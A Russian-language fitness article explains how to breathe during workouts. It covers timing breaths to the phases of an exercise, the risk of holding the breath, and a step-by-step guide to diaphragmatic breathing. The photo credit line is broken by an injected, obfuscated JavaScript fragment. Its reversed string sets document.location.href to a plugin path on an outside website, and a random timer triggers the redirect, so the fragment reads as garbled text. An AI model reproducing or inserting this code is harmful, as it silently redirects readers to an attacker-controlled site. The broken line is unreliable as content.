Вдох-выдох, дыхание не задерживать. В целом всё так, но есть нюансы. Разбираемся, как лучше дышать, чтобы тренировки были эффективнее.
Когда вы тренируетесь, начинают активнее работать два важных органа: сердце и лёгкие. Лёгкие приносят организму кислород для выработки энергии и удаляют углекислый газ, побочный продукт, который образуется при выработке энергии. Сердце доставляет кислород к мышцам. Чем интенсивнее вы тренируетесь, тем больше тело потребляет кислород и производит углекислый газ. Чтобы справиться с этой дополнительной потребностью, дыхание во время тренировки должно учащаться.
Как дышать на тренировке: вдыхайте через нос на фазе усилия, а на второй фазе выдыхайте через рот. Так вы поможете себя в самом сложном моменте упражнения. Поясним на примере приседания: вам нужно вдохнуть перед тем, как начать опускаться в присед, а выдохнуть, когда будете возвращаться в исходное положение.
Важно не задерживать дыхание во время выполнения упражнения. Это может привести к повышению артериального давления. Глубокие вдохи, наоборот, могут понизить давление.
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Ещё следует обратить внимание не только на частоту дыхания, но и на то, каким образом вы дышите. Специалисты советуют попробовать метод под названием «диафрагмальное дыхание», то есть при дыхании больше задействовать не грудь, а диафрагму. Диафрагма — это мышца, расположенная между грудной клеткой и брюшной полостью. По словам физиолога Марты Монтенегро, с помощью дыхания диафрагмой можно доставить мышцам достаточное количество кислорода, и это не даст им «устать» раньше времени.
Как освоить диафрагмальное дыхание:
- Лягте на спину. Одну руку положите на живот, другую на грудь.
- Медленно вдохните через нос. Почувствуйте, как живот надувается. Грудь остаётся неподвижной.
- Выдохните и втяните живот. Грудь по-прежнему неподвижна. При диафрагмальном дыхании двигается только живот.
Правильное дыхание во время силового тренинга помогает контролировать движения, выполнять упражнения эффективнее, а ещё добиваться больших результатов, например делая больше повторений.
Статьи по теме
Вопрос: будет ли эффект от десятиминутной тренировки
5 признаков, что тренировку пора заканчивать
Вопрос: почему пловцам для восстановления дыхания рекомендуют дышать в воду
Как правильное дыхание может помочь избежать конфликта
